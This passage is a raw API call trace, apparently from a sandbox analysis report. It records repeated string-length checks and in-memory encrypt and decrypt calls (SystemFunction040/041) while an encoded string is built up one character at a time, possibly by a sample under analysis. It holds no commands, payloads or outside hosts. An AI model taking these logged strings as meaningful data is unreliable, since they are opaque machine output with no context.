Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.686] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\xe2d6\x511a\x7458\xf26d\xec8f\x2f6c\xda99\x4774") returned 0x10 [0138.686] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\xe2d6\x511a\x7458\xf26d\xec8f\x2f6c\xda99\x4774") returned 0x10 [0138.686] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.686] SysStringLen (param_1="7WqDRe/1TCBS4jl굵") returned 0x10 [0138.686] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.686] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\xe9ec\x416c\xeedc\x8e8\xaad0\x8d1b\x534a\xa72b") returned 0x10 [0138.686] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\xe9ec\x416c\xeedc\x8e8\xaad0\x8d1b\x534a\xa72b") returned 0x10 [0138.686] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.686] SysStringLen (param_1="7WqDRe/1TCBS4jld") returned 0x10 [0138.686] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.686] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2") returned 0x10 [0138.686] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2") returned 0x10 [0138.686] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2") returned 0x10 [0138.686] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2") returned 0x18 [0138.686] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.687] SysStringLen (param_1="7WqDRe/1TCBS4jldD莉⪚뱨ɡ뾙鬀䘑") returned 0x18 [0138.687] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.687] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x6cf4\x4beb\x3eef\x3c53\x30df\xc057\xe480\x697") returned 0x18 [0138.687] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x6cf4\x4beb\x3eef\x3c53\x30df\xc057\xe480\x697") returned 0x18 [0138.687] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.687] SysStringLen (param_1="7WqDRe/1TCBS4jldDu⪚뱨ɡ뾙鬀䘑") returned 0x18 [0138.687] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.687] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x1222\xdd57\x3e8a\xe850\x2f8d\x5200\x36d5\xfc8b") returned 0x18 [0138.687] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x1222\xdd57\x3e8a\xe850\x2f8d\x5200\x36d5\xfc8b") returned 0x18 [0138.687] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.687] SysStringLen (param_1="7WqDRe/1TCBS4jldDuX뱨ɡ뾙鬀䘑") returned 0x18 [0138.687] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.687] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x7090\xa254\x6fe4\x9556\xbda5\x32ba\xb6a5\x99") returned 0x18 [0138.687] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x7090\xa254\x6fe4\x9556\xbda5\x32ba\xb6a5\x99") returned 0x18 [0138.687] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.687] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXoɡ뾙鬀䘑") returned 0x18 [0138.687] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.688] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\xc1ba\x21b\x14eb\x6a16\x8a19\x4107\x1709\xea4") returned 0x18 [0138.688] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\xc1ba\x21b\x14eb\x6a16\x8a19\x4107\x1709\xea4") returned 0x18 [0138.688] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.688] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXom뾙鬀䘑") returned 0x18 [0138.688] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.688] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x667d\xd1a\x380a\x5ad1\xc121\xa062\xdd18\xccd0") returned 0x18 [0138.688] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x667d\xd1a\x380a\x5ad1\xc121\xa062\xdd18\xccd0") returned 0x18 [0138.688] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.688] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomU鬀䘑") returned 0x18 [0138.688] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.688] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x7fc6\x3ed2\xca58\x3ca1\x42de\x2af7\xc94a\xbf2c") returned 0x18 [0138.688] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x7fc6\x3ed2\xca58\x3ca1\x42de\x2af7\xc94a\xbf2c") returned 0x18 [0138.688] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.688] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUd䘑") returned 0x18 [0138.688] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.688] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\xd431\xfa44\xad5f\x8729\xb959\xb61\xd989\x3abc") returned 0x18 [0138.688] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\xd431\xfa44\xad5f\x8729\xb959\xb61\xd989\x3abc") returned 0x18 [0138.688] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.689] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdK") returned 0x18 [0138.689] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.689] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b") returned 0x18 [0138.689] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b") returned 0x18 [0138.689] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b") returned 0x18 [0138.689] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b") returned 0x20 [0138.689] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.689] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKs晳뇯繪ꃢ薨") returned 0x20 [0138.689] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.689] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\xbe24\xa170\x3747\xf728\xc040\x1fc4\x9d76\x6595") returned 0x20 [0138.689] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\xbe24\xa170\x3747\xf728\xc040\x1fc4\x9d76\x6595") returned 0x20 [0138.689] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.690] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsy뇯繪ꃢ薨") returned 0x20 [0138.690] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.690] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\xf3ce\xc19a\x3395\x6254\x8208\x4dbf\xd34\xee4c") returned 0x20 [0138.690] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\xf3ce\xc19a\x3395\x6254\x8208\x4dbf\xd34\xee4c") returned 0x20 [0138.690] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.691] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyu繪ꃢ薨") returned 0x20 [0138.691] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.691] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x60d0\xde23\x1fc\x704d\x4f85\xdf69\x6174\x80b0") returned 0x20 [0138.691] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x60d0\xde23\x1fc\x704d\x4f85\xdf69\x6174\x80b0") returned 0x20 [0138.691] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.691] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiꃢ薨") returned 0x20 [0138.691] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.691] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x42cd\x53c7\xffb5\xce5b\x7436\xa0d5\xf0b9\x309a") returned 0x20 [0138.691] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x42cd\x53c7\xffb5\xce5b\x7436\xa0d5\xf0b9\x309a") returned 0x20 [0138.691] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.691] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiK薨") returned 0x20 [0138.691] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.691] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x105a\x6d56\xe05d\x2d4b\xc1f3\xd3f0\xb25\xd6ea") returned 0x20 [0138.691] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x105a\x6d56\xe05d\x2d4b\xc1f3\xd3f0\xb25\xd6ea") returned 0x20 [0138.691] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.691] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi") returned 0x20 [0138.691] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.691] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\xe3ab\x95d7\xdacc\x797d\x18d7\x14d2\x2811\x76d6") returned 0x20 [0138.692] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\xe3ab\x95d7\xdacc\x797d\x18d7\x14d2\x2811\x76d6") returned 0x20 [0138.692] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.692] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+") returned 0x20 [0138.692] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.692] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x47e9\x6e65\xe7e4\x1f31\xb5cc\x2c8f\xe737\x1371") returned 0x20 [0138.692] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x47e9\x6e65\xe7e4\x1f31\xb5cc\x2c8f\xe737\x1371") returned 0x20 [0138.692] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.692] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+f") returned 0x20 [0138.692] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.692] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950") returned 0x20 [0138.692] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950") returned 0x20 [0138.692] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950") returned 0x20 [0138.692] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950") returned 0x28 [0138.692] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.692] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSஈ⎫⹙룐ꋦꢟᦃ") returned 0x28 [0138.692] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.692] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x60\xde55\x5950\x7ff9\x5bd5\x6d78\xfbf7\xf5d6") returned 0x28 [0138.693] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x60\xde55\x5950\x7ff9\x5bd5\x6d78\xfbf7\xf5d6") returned 0x28 [0138.693] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.693] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY⎫⹙룐ꋦꢟᦃ") returned 0x28 [0138.693] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.693] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x33e6\xed6a\xb21c\x9c60\xfc8\x47be\xc47d\x18d8") returned 0x28 [0138.693] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x33e6\xed6a\xb21c\x9c60\xfc8\x47be\xc47d\x18d8") returned 0x28 [0138.693] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.693] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3⹙룐ꋦꢟᦃ") returned 0x28 [0138.693] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.693] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x7968\x1f1d\xb051\x4c3f\xf821\x275b\x3d9\x94d8") returned 0x28 [0138.693] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x7968\x1f1d\xb051\x4c3f\xf821\x275b\x3d9\x94d8") returned 0x28 [0138.693] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.693] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3p룐ꋦꢟᦃ") returned 0x28 [0138.693] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.693] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x82e2\xcca7\x8f31\x6002\x3097\xca24\x78df\x9df7") returned 0x28 [0138.693] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x82e2\xcca7\x8f31\x6002\x3097\xca24\x78df\x9df7") returned 0x28 [0138.693] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.693] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3pFꋦꢟᦃ") returned 0x28 [0138.694] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.694] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x8e11\x8328\x8c94\x5c48\x58e\xebdc\xc636\xc325") returned 0x28 [0138.694] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x8e11\x8328\x8c94\x5c48\x58e\xebdc\xc636\xc325") returned 0x28 [0138.694] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.694] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3pFTꢟᦃ") returned 0x28 [0138.694] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.694] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\xf24d\x607f\xd3b0\xd5a3\xcef8\xde54\x55a3\x3851") returned 0x28 [0138.694] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\xf24d\x607f\xd3b0\xd5a3\xcef8\xde54\x55a3\x3851") returned 0x28 [0138.694] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.694] SysStringLen (param_1="7WqDRe/1TCBS4jldDuXomUdKsyuiKi+fSY3pFT5ᦃ") returned 0x28 [0138.694] SystemFunction040 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 0x0 [0138.694] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x572a\x28f2\xdb0f\x89c7\x9779\x8eca\x6d51\xc245") returned 0x28 [0138.694] SysStringLen (param_1="\xa43f\x241\x562e\x65ca\xccba\x2fc4\xb0f2\x9da6\x7958\x83a3\x59d2\xbd6e\xc6a1\xab0c\xdefb\x76c2\x3b85\x6659\xc2a7\x7f6c\x6422\x913d\x9f07\xdb1b\x2a7b\xba2\x50e3\x2f5f\x7c10\xb673\xed64\x2950\x572a\x28f2\xdb0f\x89c7\x9779\x8eca\x6d51\xc245") returned 0x28 [0138.694] SystemFunction041 (in: Memory=0x8ec02ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec02ac) returned 